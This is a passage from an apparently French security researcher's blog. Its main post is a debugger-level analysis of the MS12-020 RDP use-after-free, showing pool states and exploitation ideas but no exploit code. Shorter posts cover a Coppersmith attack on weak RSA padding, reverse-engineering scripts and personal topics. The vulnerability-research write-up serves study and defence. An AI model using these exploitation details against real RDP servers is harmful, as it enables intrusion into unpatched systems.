Le code de rdpwd.sys permet de definir jusqu'a 31 canaux dans un PDU Client Core Data (cf: 2.2.1.3.2 Client Core Data (TS_UD_CS_CORE), 2.2.1.3.4 Client Network Data (TS_UD_CS_NET), 2.2.1.3.4.1 Channel Definition Structure (CHANNEL_DEF)), mais permet aussi de definir le nombre maximum de canaux autorises (cf: 3.2.5.3.3 Sending MCS Connect Initial PDU with GCC Conference Create Request, <a href="http://www.itu.int/rec/T-REC-T.125-199802-I/en">http://www.itu.int/rec/T-REC-T.125-199802-I/en</a>). Si le nombre de canaux crees par defaut plus le nombre de canaux demandes depasse le maximum, la fonction rdpwd!GetNewDynamicChannel va echouer lors de la creation du nieme canal.<br />
<br />
<span style="font-size: large;"><b>Trigger</b></span><br />
<br />
Testons, avec maxChannelIds de targetParameters a 32, et un channelDefArray contenant 31 canaux (eax contient le code d'erreur):<br />
<br />
<span style="font-family: 'Courier New', Courier, monospace;">Breakpoint 0 hit</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">RDPWD!NMAbortConnect:</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">f6f13062 8bff mov edi,edi</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">kd> r eax</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">eax=0000000f</span><br />
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhC_IotTsJz76oliBB55AbWvACTJfr2uvfZbtpn9jA9r2w8UJgfFDpwDs0Czx9XXsoAaYrbhy9S96gC2juK__0JtDrHlegHem5AYciNC7gci3MhchHbObff-X4DAo38LolCC6vWM493AlLT/s1600/Wireshark.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhC_IotTsJz76oliBB55AbWvACTJfr2uvfZbtpn9jA9r2w8UJgfFDpwDs0Czx9XXsoAaYrbhy9S96gC2juK__0JtDrHlegHem5AYciNC7gci3MhchHbObff-X4DAo38LolCC6vWM493AlLT/s640/Wireshark.png" width="580" /></a></div>
<div>
<br /></div>
<br />
C'est moche, contrairement a ce que 99.9% de la communaute pense, maxChannelIds peut prendre toute valeur entre 0 et 32 (et meme plus dans certains cas) et toujours declencher l'appel a rdpwd!NMAbortConnect. Donc si votre signature d'IDS ou votre "analyse" se fonde sur un maxChannelIds a 0 (ou <= 5), vous brassez du vent.<br />
<br />
Maintenant, appel a rdpwd!NMAbortConnect ne signifie pas necessairement use-after-free. Si vous avez un client qui envoie des paquets propres, etc, vous pouvez declencher un abort a coup sur, mais pas de use-after-free. Il faut autre chose, que je vous laisserai decouvrir par vous meme.<br />
<br />
Une fois la sequence de paquets correctement construite, observons les consequences:<br />
<br />
<br />
<span style="font-family: 'Courier New', Courier, monospace;">Breakpoint 1 hit</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">RDPWD!MCSDetachUserRequest+0x24:</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">f6f2bc82 e8a7ffffff call RDPWD!StackBufferAlloc (f6f2bc2e)</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">kd> !pool @esi 2</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">Pool page e1582998 region is Paged pool</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">*e1582990 size: 58 previous size: 18 (<b><span style="color: lime;">Allocated</span></b>) *TSmc</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"><span class="Apple-tab-span" style="white-space: pre;"> </span>Pooltag TSmc : PDMCS - Hydra MCS Protocol Driver</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">kd> g</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">Breakpoint 1 hit</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">RDPWD!MCSDetachUserRequest+0x24:</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">f6f2bc82 e8a7ffffff call RDPWD!StackBufferAlloc (f6f2bc2e)</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">kd> !pool @esi 2</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">Pool page e1582998 region is Paged pool</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">*e1582990 size: 58 previous size: 18 (<span style="color: red;"><b>Free </b></span>) *TSmc</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"><span class="Apple-tab-span" style="white-space: pre;"> </span>Pooltag TSmc : PDMCS - Hydra MCS Protocol Driver</span><br />
<div>
<br /></div>
<div>
Deuxieme appel a rdpwd!MCSDetachUserRequest, sauf que cette fois ci @esi pointe sur un chunk libere. Et la, c'est le drame. Voici le code de la fonction en question:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJ4mXmhUAK7Gixzs-WbsJogAiwIVUAJp_aaaW9WcV2q_UTomDBuaZccStULV0A09kc0mCMDi-nfXnQLTKZOnIAYLD1DCTlyqGZK1iB1sdjgJhtUw4UJfrIL6ORWTK96RRiWD2oZXSF72BD/s1600/IDA.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="500" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJ4mXmhUAK7Gixzs-WbsJogAiwIVUAJp_aaaW9WcV2q_UTomDBuaZccStULV0A09kc0mCMDi-nfXnQLTKZOnIAYLD1DCTlyqGZK1iB1sdjgJhtUw4UJfrIL6ORWTK96RRiWD2oZXSF72BD/s640/IDA.png" width="640" /></a></div>
<div>
<br /></div>
<div>
Comme vous pouvez le voir, @edi est lu du contenu de @esi plus precisement le premier PVOID. Sous achitecture 32 bits, le chunk en question est de taille 0x58, sous 64 bits 0xa0, et c'est important. Pourquoi? Parceque la taille du chunk entrainera une liberation vers un des lookasides (sauf s'ils sont tous plein), et cela signifie que les 4 premiers octets du chunk libre (8 sous 64) constituent un pointeur vers un autre chunk libre de meme taille. Cela donne:</div>
<div>
<br /></div>
<div>
<div>
<span style="font-family: 'Courier New', Courier, monospace;">kd> !pool @edi 2</span></div>
<div>
<span style="font-family: 'Courier New', Courier, monospace;">Pool page e126afb0 region is Paged pool</span></div>
<div>
<span style="font-family: 'Courier New', Courier, monospace;">*e126afa8 size: 58 previous size: 20 (<span style="color: red;"><b>Free </b></span>) *Sect (Protected)</span></div>
<div>
<span style="font-family: 'Courier New', Courier, monospace;"><span class="Apple-tab-span" style="white-space: pre;"> </span>Pooltag Sect : Section objects</span></div>
<div>
<span style="font-family: 'Courier New', Courier, monospace;">kd> !pool poi(@edi) 2</span></div>
<div>
<span style="font-family: 'Courier New', Courier, monospace;">Pool page e12a9330 region is Paged pool</span></div>
<div>
<span style="font-family: 'Courier New', Courier, monospace;">*e12a9328 size: 58 previous size: 100 (<span style="color: red;"><b>Free </b></span>) *NtFd</span></div>
<div>
<span style="font-family: 'Courier New', Courier, monospace;"><span class="Apple-tab-span" style="white-space: pre;"> </span>Pooltag NtFd : DirCtrl.c, Binary : ntfs.sys</span></div>
</div>
<div>
<br /></div>
<div>
Bien entendu cela peut etre different en fonction du nombre d'entrees dans le lookaside, etc. Ce dernier pointeur P sera utilise dans termdd!IcaBufferAlloc, et passe a termdd!IcaGetPreviousSdLink, ou un pointeur sera lu *(P-14h+0Ch) et retourne, -8. Le probleme ici c'est que P-14h+0Ch pointe sur le nt!_POOL_HEADER du chunk libre, et donc le pointeur retourne sera les 4 premiers octets de l'entete du chunk libre (moins 8). Sous 64 bits *(P-28h+18h), et on a le meme probleme, sauf que cette fois-ci le tag du chunk constitue les 32 bits de poids fort du pointeur retourne.</div>
<div>
<br /></div>
<div>
<div>
<span style="font-family: 'Courier New', Courier, monospace;">kd> dd poi(@edi)-8 L 2</span></div>
<div>
<span style="font-family: 'Courier New', Courier, monospace;">e12a9328 040b0420 6446744e</span></div>
</div>
<div>
<div>
<span style="font-family: 'Courier New', Courier, monospace;">kd> dt nt!_POOL_HEADER e12a9328</span></div>
<div>
<span style="font-family: 'Courier New', Courier, monospace;"> +0x000 PreviousSize : 0y000100000 (0x20)</span></div>
<div>
<span style="font-family: 'Courier New', Courier, monospace;"> +0x000 PoolIndex : 0y0000010 (0x2)</span></div>
<div>
<span style="font-family: 'Courier New', Courier, monospace;"> +0x002 BlockSize : 0y000001011 (0xb)</span></div>
<div>
<span style="font-family: 'Courier New', Courier, monospace;"> +0x002 PoolType : 0y0000010 (0x2)</span></div>
<div>
<span style="font-family: 'Courier New', Courier, monospace;"> +0x000 Ulong1 : 0x40b0420</span></div>
<div>
<span style="font-family: 'Courier New', Courier, monospace;"> +0x004 PoolTag : 0x6446744e</span></div>
<div>
<span style="font-family: 'Courier New', Courier, monospace;"> +0x004 AllocatorBackTraceIndex : 0x744e</span></div>
<div>
<span style="font-family: 'Courier New', Courier, monospace;"> +0x006 PoolTagHash : 0x6446</span></div>
</div>
<div>
<br /></div>
<div>
Comme vous le voyez ici, on a un BlockSize de 0xb (*8=0x58 soit 0x50 octets plus 8 octets d'entete) et un PoolType de 0x2, ce qui explique les differents crashes 0x040bXXXX postes partout. Bien evidemment, les 16 bits de poids faible dependent de la taille du chunk precedent et varient d'un crash a un autre. Le pointeur lu sera utilise dans la sequence d'instruction devenue celebre:</div>
<div>
<br /></div>
<div>
<div>
<span style="font-family: 'Courier New', Courier, monospace;">.text:0001188C 8B 46 18 mov eax, [esi+18h]</span></div>
<div>
<span style="font-family: 'Courier New', Courier, monospace;">.text:0001188F 83 38 00 cmp dword ptr [eax], 0</span></div>
<div>
<span style="font-family: 'Courier New', Courier, monospace;">.text:00011892 75 27 jnz short loc_118BB</span></div>
</div>
<div>
<br /></div>
<br />
et un potentiel call [eax] un peu plus loin. Cette situation est la situation "ideale", et en fonction de la disposition du kernel pool, du contenu du lookaside, tout peut changer. Controler cela avec une connection RDP pre-auth, c'est loin d'etre gagne.<br />
<br />
<span style="font-size: large;"><b>Exploitation</b></span><br />
<br />
A ce point, j'ai pense a deux possibilites d'exploitation distinctes: remplir la memoire usermode du svchost.exe dans le contexte duquel tourne Terminal Services/RDP, ou racer l'allocation du chunk de 0x50 bytes entre sa liberation et son utilisation.<br />
<br />
Il s'avere que la course n'est pas trop compliquee a gagner sur un 2003, principalement parceque Terminal Services supporte plus de connexions concurrentes que RDP sous XP. Cela donne le resultat poste sur <a href="https://twitter.com/#!/crypt0ad/status/181820645275992064">Twitter</a>. Les quatres premiers octets (ou 8 pour 64 bits) du chunk precedemment libre sont maintenant sous notre controle, car le chunk a ete realloue avant son utilisation. Le probleme maintenant est qu'il va se produire quatre dereferencements successifs du pointeur initial avant le call [eax]. Et je n'ai pas trouve de moyen de "survivre" a ces quatre dereferencements dans le temps passe. Cela necessiterait soit de leaker un pointeur, soit de copier des donnees sous notre controle a un endroit fixe ou connu.<br />
<br />
Une autre idee toujours fondee sur le controle des 4 premiers octets du chunk est de reussir a passer l'appel a termdd!IcaBufferalloc, et d'obtenir une autre erreur dans les fonctions appelees ulterieurement (rdpwd!CreateDetachUserInd par exemple). Je ne suis arrive a rien ici non plus.<br />
<br />
Au niveau usermode, l'instance de svchost.exe en question abrite des services RPC qui peuvent s'averer utiles mais requierent authentification ou ne sont pas accessibles par defaut a distance. Il existe d'autres <a href="https://twitter.com/#!/crypt0ad/status/181484067957641216">methodes</a> mais je me suis heurte a des problemes d'alignements, de timing, qui m'ont semble redhibitoires au final.<br />
<br />
<span style="font-size: large;"><b>Conclusion</b></span><br />
<br />
Evidemment, il me faudrait passer 25 jours supplementaires a travailler sur cette vulnerabilite pour tenter d'en epuiser les possibilites, mais MS12-020 ne me semble pas super exploitable a distance. Localement c'est une autre histoire... Quand j'aurais un peu plus de temps je regarderai Vista/7/2008.<br />
<br />
Il est dommage de voir la quantite d'horreurs publiees sur le sujet, de diffs approximatifs, d'erreurs d'interpretations.Kostyahttp://www.blogger.com/profile/13104454620092588028noreply@blogger.com2tag:blogger.com,1999:blog-6700102380087070012.post-24807541271791252292012-02-22T10:22:00.004-05:002012-02-22T10:26:37.471-05:00Coppersmith pour les nulsRecemment je suis tombe sur un probleme "interessant" ayant trait a RSA. La facon dont c'etait implemente me laissant a penser que quelque chose n'allait pas, et meme si j'apprecie la cryptographie, je n'ai pas la science infuse et il m'a fallu chercher a droite et a gauche une solution adequate (et simple).<br />
<br />
En voici la version anonymisee.<br />
<br />
Considerons le probleme ou Bob le developpeur veut chiffrer une cle AES 128 avec du RSA - 1024 bits parceque Bob sait qu'en dessous c'est pas "sur". Bob n'est pas super au point avec les standards, et il ne dispose que de quelques API d'arithmetique modulaire. Toujours est-il que Bob reussit a generer ses nombres premiers, choisit e=3 (pour la simplicite?), et calcule d correctement. Maintenant Bob se doute que si il chiffre sa cle AES (m) directement avec e=3, cela ne va pas mener a grand chose puisque m^3 < n. Donc Bob complete son message avec des 1 (padding fixe). En python, cela ressemblerait a:<br />
<br />
<iframe src="http://pastebin.com/embed_iframe.php?i=qTU4nCQZ" style="border: none; height: 315px; width: 100%;"></iframe><br />
<br />
La problematique est la suivante: connaissant n et e de la cle RSA (parametres publiques), et le message chiffre m', peut-on recouvrer la cle AES?<br />
<br />
Et bien cela tombe pile poil dans le domaine couvert par l'attaque de <a href="http://en.wikipedia.org/wiki/Coppersmith's_Attack">Coppersmith</a> (<a href="https://twitter.com/#!/kyprizel/status/170607480437608448">sugere</a> par @kyprizel) avec f(x)=(2^1023-2^128+x)^3-mprime. Maintenant le probleme est de trouver une implementation de <a href="http://en.wikipedia.org/wiki/LLL_algorithm">Lenstra–Lenstra–Lovász</a>, ou de le reimplementer soi-meme. La solution se trouve dans la bibliotheque <a href="http://www.sagemath.org/">Sage</a>, et le <a href="http://www.sagenb.org/">Sage Notebook</a> disponible en ligne si vous ne voulez pas installer les 400MB sous Linux, ou la VM VirtualBox sous Windows - et probablement ailleurs mais je me suis arrete a ce qui marchait.<br />
<br />
Avec les quelques lignes de code suivantes sous Sage Notebook vous recupererez les 128 bits de la cle instantanement:<br />
<br />
<iframe src="http://pastebin.com/embed_iframe.php?i=Lzrt3pP7" style="border-bottom-style: none; border-color: initial; border-left-style: none; border-right-style: none; border-top-style: none; border-width: initial; height: 230px; width: 100%;"></iframe><br />
<br />
C'est moche pour Bob, il avait fait un effort ce coup-ci :(Kostyahttp://www.blogger.com/profile/13104454620092588028noreply@blogger.com0tag:blogger.com,1999:blog-6700102380087070012.post-61258428117139115552011-12-09T18:38:00.000-05:002011-12-09T18:38:07.985-05:00Extraction des fichiers .tor de Star Wars: The Old RepublicPour ceux qui veulent savoir ce qui se passe dans les fichiers de SW:ToR, voici un petit morceau de code pour "traiter" tous les fichiers .tor dans un repertoire. Le format est base sur des archives "MYP" avec des SHA-256 integres dans les donnees. Les noms de fichiers ne sont pas disponibles dans les archives, seuls un hash particulier sur 64 bits permet d'identifier les fichiers. Une liste partielle des fichiers est disponible avec le projet <a href="http://code.google.com/p/easymyp/">easymyp</a>.<br />
<br />
Le code ne fait pas grand chose, mais donne une idee du format des fichiers.<br />
Il semble au passage que quantites de SHA-256 soient invalides.<br />
<br />
<iframe src="http://pastebin.com/embed_iframe.php?i=a5P1nhjM" style="border: none; height: 600px; width: 100%;"></iframe>Kostyahttp://www.blogger.com/profile/13104454620092588028noreply@blogger.com0tag:blogger.com,1999:blog-6700102380087070012.post-57662447943463567272011-11-10T19:19:00.001-05:002011-11-10T19:20:01.540-05:00Steam tombe<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglhAMNtbYegtW2-dQIFezmGTGAZJpIdfihhRlfHWSdq8aCE9H0TP-T_FUPi2nk1qSyOmYnrYRc4MiIp5dmmMoS74BPKSoy0Ukov8lkWWdONaBhAYvuZ312H9JRGqFoRZGfp4zvvHxBnxwb/s1600/Unlol.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglhAMNtbYegtW2-dQIFezmGTGAZJpIdfihhRlfHWSdq8aCE9H0TP-T_FUPi2nk1qSyOmYnrYRc4MiIp5dmmMoS74BPKSoy0Ukov8lkWWdONaBhAYvuZ312H9JRGqFoRZGfp4zvvHxBnxwb/s640/Unlol.png" width="536" /></a></div>Kostyahttp://www.blogger.com/profile/13104454620092588028noreply@blogger.com0tag:blogger.com,1999:blog-6700102380087070012.post-50621883829928080092011-10-18T15:24:00.010-04:002011-11-02T07:53:29.715-04:00Et un autre Stuxnet...Apparemment, les auteurs de Duqu seraient les memes que ceux de Stuxnet. Il y a un <a href="http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf">gros PDF</a> qui regroupe les travaux de Symantec et du "laboratoire" qui a ete publie.<br />
<br />
Le certificat utilise pour signer les .sys a semble-t-il ete vole, et bien que cache au sein du PDF (sauf son empreinte), il s'agirait d'un certificat de <a href="http://www.cmedia.com.tw/EN/index.aspx">C-Media</a> Eletronics Incorporation qui est maintenant <a href="https://twitter.com/#!/2gg/status/126371031026909185/photo/1">revoque</a>.<br />
<br />
D'apres ce que j'ai lu, le but de Duqu est different de celui de Stuxnet et se concentre davantage sur le C&C que la proliferation et l'exploitation de vulnerabilites. Le rapport du "laboratoire" ne semble pas infirmer la presence de 0days dans les binaires.<br />
<br />
Quelques liens:<br />
<ul><li>Symantec: <a href="http://www.symantec.com/connect/w32_duqu_precursor_next_stuxnet">http://www.symantec.com/connect/w32_duqu_precursor_next_stuxnet</a></li>
<li>McAfee: <a href="http://blogs.mcafee.com/mcafee-labs/the-day-of-the-golden-jackal-%E2%80%93-further-tales-of-the-stuxnet-files">http://blogs.mcafee.com/mcafee-labs/the-day-of-the-golden-jackal-%E2%80%93-further-tales-of-the-stuxnet-files</a></li>
<li>F-Secure: <a href="http://www.f-secure.com/weblog/archives/00002255.html">http://www.f-secure.com/weblog/archives/00002255.html</a>, <a href="http://www.f-secure.com/v-descs/backdoor_w32_duqu.shtml">http://www.f-secure.com/v-descs/backdoor_w32_duqu.shtml</a></li>
<li>Norman: <a href="http://blogs.norman.com/2011/security-exposed/w32duqu-stuxnet-lite">http://blogs.norman.com/2011/security-exposed/w32duqu-stuxnet-lite</a></li>
<li>Rapports Virus Total: <a href="http://www.virustotal.com/file-scan/report.html?id=f2b631fcdf83b928661a7e09dd11fa640251a4850ff570436f3b16abef0fad10-1317395560">http://www.virustotal.com/file-scan/report.html?id=f2b631fcdf83b928661a7e09dd11fa640251a4850ff570436f3b16abef0fad10-1317395560</a> (soumission du 30 Septembre 2011), <a href="http://www.virustotal.com/file-scan/report.html?id=1cd11a596ad732e3513aac21bd7e43a9883544b1abc7b775bdbb104a3f61ce0f-1318645582">http://www.virustotal.com/file-scan/report.html?id=1cd11a596ad732e3513aac21bd7e43a9883544b1abc7b775bdbb104a3f61ce0f-1318645582</a> (soumission du 13 Octobre 2011)</li>
<li>Contagio: <a href="http://contagiodump.blogspot.com/2011/10/duqu-rat-trojan-precursor-to-next.html">http://contagiodump.blogspot.com/2011/10/duqu-rat-trojan-precursor-to-next.html</a></li>
<li>Dell SecureWorks: <a href="http://www.secureworks.com/research/threats/duqu/">http://www.secureworks.com/research/threats/duqu/</a></li>
</ul><div><b>Edit</b>: tableau & liens.<br />
<br />
</div><div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5mQdncUr6ODIaS1db7Wn-rkeLqGyE2shBSoxBtlYNrR5Cg0-n8aN7Kg8eFUfKAKexaHazAeIyzoi2mqxhlOkoExl-JzOB2Xvq1TL4Ff1eEZh4ZVdtiy_dIX9B2QMpwnvyd1QRPSc0KNyg/s1600/table.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5mQdncUr6ODIaS1db7Wn-rkeLqGyE2shBSoxBtlYNrR5Cg0-n8aN7Kg8eFUfKAKexaHazAeIyzoi2mqxhlOkoExl-JzOB2Xvq1TL4Ff1eEZh4ZVdtiy_dIX9B2QMpwnvyd1QRPSc0KNyg/s640/table.png" width="577" /></a></div><br />
</div>Kostyahttp://www.blogger.com/profile/13104454620092588028noreply@blogger.com0tag:blogger.com,1999:blog-6700102380087070012.post-3524881208714420292011-06-11T15:35:00.001-04:002011-06-11T15:48:12.748-04:00idapython 1.5.2La nouvelle version d'idapython semble fixer le probleme du script de graph d'xrefs lorsque je l'ai passe en plugin ("crash" lors du double-clique sur un node et fermeture de l'IDB). Telechargez la si vous aviez un probleme avec xrefgraf.py:<br />
<br />
<a href="http://code.google.com/p/idapython/downloads/list">http://code.google.com/p/idapython/downloads/list</a><br />
<br />
Je rajouterai les fonctionalites manquantes dans la semaine. Peut-etre.Kostyahttp://www.blogger.com/profile/13104454620092588028noreply@blogger.com0tag:blogger.com,1999:blog-6700102380087070012.post-37687770681516399782011-06-08T09:06:00.001-04:002011-06-08T09:07:03.489-04:00XrefGraf.pyBon j'ai rajoute les quelques lignes necessaires afin de transformer le script en un plugin. Copiez le fichier dans le repertoire de plugin de IDA (n'oubliez pas d'installer la derniere version de idapython), et ALT-F8 vous presentera le dialogue. J'ai aussi corrige un probleme de logique. Alors maintenant un autre bug est apparu: dans le plugin, double-cliquer sur un noeud provoque un crash d'IDA - j'ai essaye de trouve pourquoi ca marche en script et pas en plugin, sans succes. Si quelqu'un sait et peut me dire pourquoi ca serait sympa :)<br />
<div><br />
</div><div><iframe src="http://pastebin.com/embed_iframe.php?i=rpKGJp6h" style="border:none;width:100%;height:800px"></iframe><br />
</div>Kostyahttp://www.blogger.com/profile/13104454620092588028noreply@blogger.com1tag:blogger.com,1999:blog-6700102380087070012.post-1239413192656241622011-06-06T00:05:00.003-04:002011-06-06T09:53:45.663-04:00Script idapython du Dimanche soirApres une dure victoire des Miami Heat 88 a 86 contre les Dallas Mavericks pour le 3e match des finales des playoffs de la NBA (2-1!), je me suis decide a essaye de terminer le script d'hier. Apres avoir joue avec les Forms dans l'apres-midi, il se trouve qu'un dialogue se fait plus aisement que prevu. Donc je me suis efforce de faire quelque chose qui ressemblait au menu courant, toujours avec cette notion de filtre par expression reguliere sur les xrefs qui me tenait a coeur<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNRFEcM5jKpa0zv4PD9tk8j5MR342SWZd091VzF2sqxcZeV0QLDiOrACed8IcBajGSXSaCM3SXQfR13po-yXnWtSy_Jgk-CqOcousCXj1KtkXGFq2g3XT8Mdd5pEYLLz2x0dly34KQTKfN/s1600/XrefGraph.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNRFEcM5jKpa0zv4PD9tk8j5MR342SWZd091VzF2sqxcZeV0QLDiOrACed8IcBajGSXSaCM3SXQfR13po-yXnWtSy_Jgk-CqOcousCXj1KtkXGFq2g3XT8Mdd5pEYLLz2x0dly34KQTKfN/s320/XrefGraph.png" width="313" /></a></div><br />
J'ai inclus du code pour les xrefs to et les xrefs from. C'est moche mais ca a l'air de marcher. Comprenez bien qu'a 11:30PM un dimanche soir, ma batterie de test a consiste a tester 3 fonctions et a juger du resultat au nez. Mais comme Google, je vais faire confiance aux utilisateurs finaux pour tester, trouver des bugs, me les envoyer, et me traiter de tous les noms pour avoir pondu du code pourri.<br />
<br />
Et comme je ne maitrise toujours pas le web 3.0 et que je n'arrive pas a coller du code proprement formate dans ce blog, je vais faire confiance a pastebin pour cela. Le code complet du script se trouve a l'adresse suivante:<br />
<br />
<a href="http://pastebin.com/nidWa9U7">http://pastebin.com/nidWa9U7</a><br />
<br />
<iframe src="http://pastebin.com/embed_iframe.php?i=nidWa9U7" style="border:none;width:100%;height:600px"></iframe><br />
<br />
Enjoy!Kostyahttp://www.blogger.com/profile/13104454620092588028noreply@blogger.com2tag:blogger.com,1999:blog-6700102380087070012.post-866107421526150442011-06-04T17:57:00.009-04:002011-06-06T10:17:52.799-04:00Script idapython du SamediDans IDA, je cherche souvent comment arriver a une fonction depuis d'autres fonctions que j'ai analyse. Halvar dirait que BinNavi est fait pour ca, mais personnellement, vu que je suis vieux et refractaire au progres, j'utilise generalement la fonctionnalite de graphe de IDA (View -> Graph -> User xref chart...), qui utilise toujours en 2011 le tres laid wingraph.exe.<br />
<div><br />
</div><div>Tout va bien lorsque votre fonction est appelee 2 fois par des fonctions elles-meme appelees 2 fois, etc. On retrouve facilement ce que l'on cherche. Par contre, lorsque votre fonction est appelee 42 fois par des fonctions elles-meme appelees 42 fois, ca devient bordelique.</div><div><br />
</div><div>Lorsque j'audite, je renomme toutes les fonctions que j'analyse avec un prefixe particulier ('imm').Je me suis donc decide a ecrire un script idapython recherchant les recursivement les references en applicant une expression reguliere ('^imm') sur le nom des fonctions. Le resultat est un graphe epure ne contenant que les chemins que je cherchais (provenant d'une fonction analysee vers la fonction ciblee). Au final ca a pris 15 minutes et ca l'air de marcher.</div><div><br />
</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5zg8JJDY0soUvTyss_kdEW_iqdsr0EdLX8tVurtqK_cIwhyphenhyphenYzhWNPoP7doZUWnt41TcC69XcC865lfkC9KuZ7zi4TYZhrBI3IgO1KFhMsHRaCxrgWAjFYsJfrojBY7IqPuYEVi8R51yP_/s1600/Depth2NoRegexp.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="40" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5zg8JJDY0soUvTyss_kdEW_iqdsr0EdLX8tVurtqK_cIwhyphenhyphenYzhWNPoP7doZUWnt41TcC69XcC865lfkC9KuZ7zi4TYZhrBI3IgO1KFhMsHRaCxrgWAjFYsJfrojBY7IqPuYEVi8R51yP_/s320/Depth2NoRegexp.png" width="320" /></a></div><div><br />
</div><div>Ce premier graphe correspond a une profondeur maximale de 2, sans expression reguliere appliquee, vers la fonction ciblee: c'est le bordel.</div><div><br />
</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj15CWcR3gUXl2jdzX3Amo9cNZEOwqamaP3VZfM_HCJl2AxThGWtS3h4e9l4IzYC8ifLVgDsYmiUBxqOkjWiyhOoyu0F4nNyccWbRG0cbzAh16nEiIMml7EybLmN_Rp8tWQa0j9vEiVdEue/s1600/Depth8Regexp.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj15CWcR3gUXl2jdzX3Amo9cNZEOwqamaP3VZfM_HCJl2AxThGWtS3h4e9l4IzYC8ifLVgDsYmiUBxqOkjWiyhOoyu0F4nNyccWbRG0cbzAh16nEiIMml7EybLmN_Rp8tWQa0j9vEiVdEue/s1600/Depth8Regexp.png" /></a></div><div>Ce second graphe correspond a une profondeur maxiumale de 8, avec expression reguliere '^imm', vers le meme fonction ciblee: c'est deja moins le bordel, et tous les blocs initiaux respectent effectivement mon expression reguliere.<br />
<br />
J'aimerais bien remplacer le menu actuel Xref de IDA par quelque chose utilisant une version plus developpee de ce code, histoire d'avoir les Drefs/Crefs To et From avec application d'expressions regulieres. Ca me semble representer plus de travail que je ne desire y consacrer (surtout que je n'ai jamais essaye de creer un dialogue), mais si quelqu'un a du temps, amusez vous.</div><div><br />
</div><div>Et voici le code (de merde):<br />
</div><iframe src="http://pastebin.com/embed_iframe.php?i=M12XjMry" style="border:none;width:100%;height:600px"></iframe><br />
<br />
<div><b>Edit</b>: desole je suis infoutu de formater le code proprement.</div>Kostyahttp://www.blogger.com/profile/13104454620092588028noreply@blogger.com0tag:blogger.com,1999:blog-6700102380087070012.post-13292546772648686972011-05-30T11:09:00.000-04:002011-05-30T11:09:37.024-04:00Memorial Day week-endUne fois par an, pour "Memorial Day Week-End", South Beach se tranforme en un gigantesque Ghetto. Malgre une presence policiere decuplee, ca se finit toujours en drames. Cette annee, un echange de coups de feu a ete filme entre la police et des criminels. Les officiers finissent par decharger leurs pistolets sur la voiture.<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><iframe allowfullscreen='allowfullscreen' webkitallowfullscreen='webkitallowfullscreen' mozallowfullscreen='mozallowfullscreen' width='320' height='266' src='https://www.youtube.com/embed/cjxxGBJmOqQ?feature=player_embedded' frameborder='0'></iframe></div><br />
Personnellement, je pense que le blame initial pour de telles situations revient a la ville de Miami Beach, qui se contente de laisser la situation degenerer tout un week-end jusqu'a des conclusions macabres comme celles-ci.Kostyahttp://www.blogger.com/profile/13104454620092588028noreply@blogger.com0tag:blogger.com,1999:blog-6700102380087070012.post-66270121452218726302011-05-11T09:17:00.002-04:002011-05-11T09:54:54.057-04:00Les drivers graphiquesRecemment, tout le monde s'est mis a s'inquieter du fait que <a href="http://www.khronos.org/webgl/">WebGL</a> <a href="http://www.h-online.com/security/news/item/WebGL-as-a-security-problem-1240567.html">existait</a>. Ou du moins, commencait a etre integre a des navigateurs populaires comme Chrome ou Firefox. Certes, cela ajoute un niveau additionnel de complexite au code et une nouvelle surface d'attaque associee - ce qui n'est pas ideal - mais surtout ca expose les drivers graphiques aux Internets. Et ca, c'est le debut de la fin (meme si FX ne semble pas etre <a href="http://twitter.com/#!/41414141/status/68078472077123584">d'accord</a>). Pour la bonne et simple raison que les drivers graphiques sont gros et tres mal codes (mon .sys ATI est plus gros que mon noyau).<br />
<br />
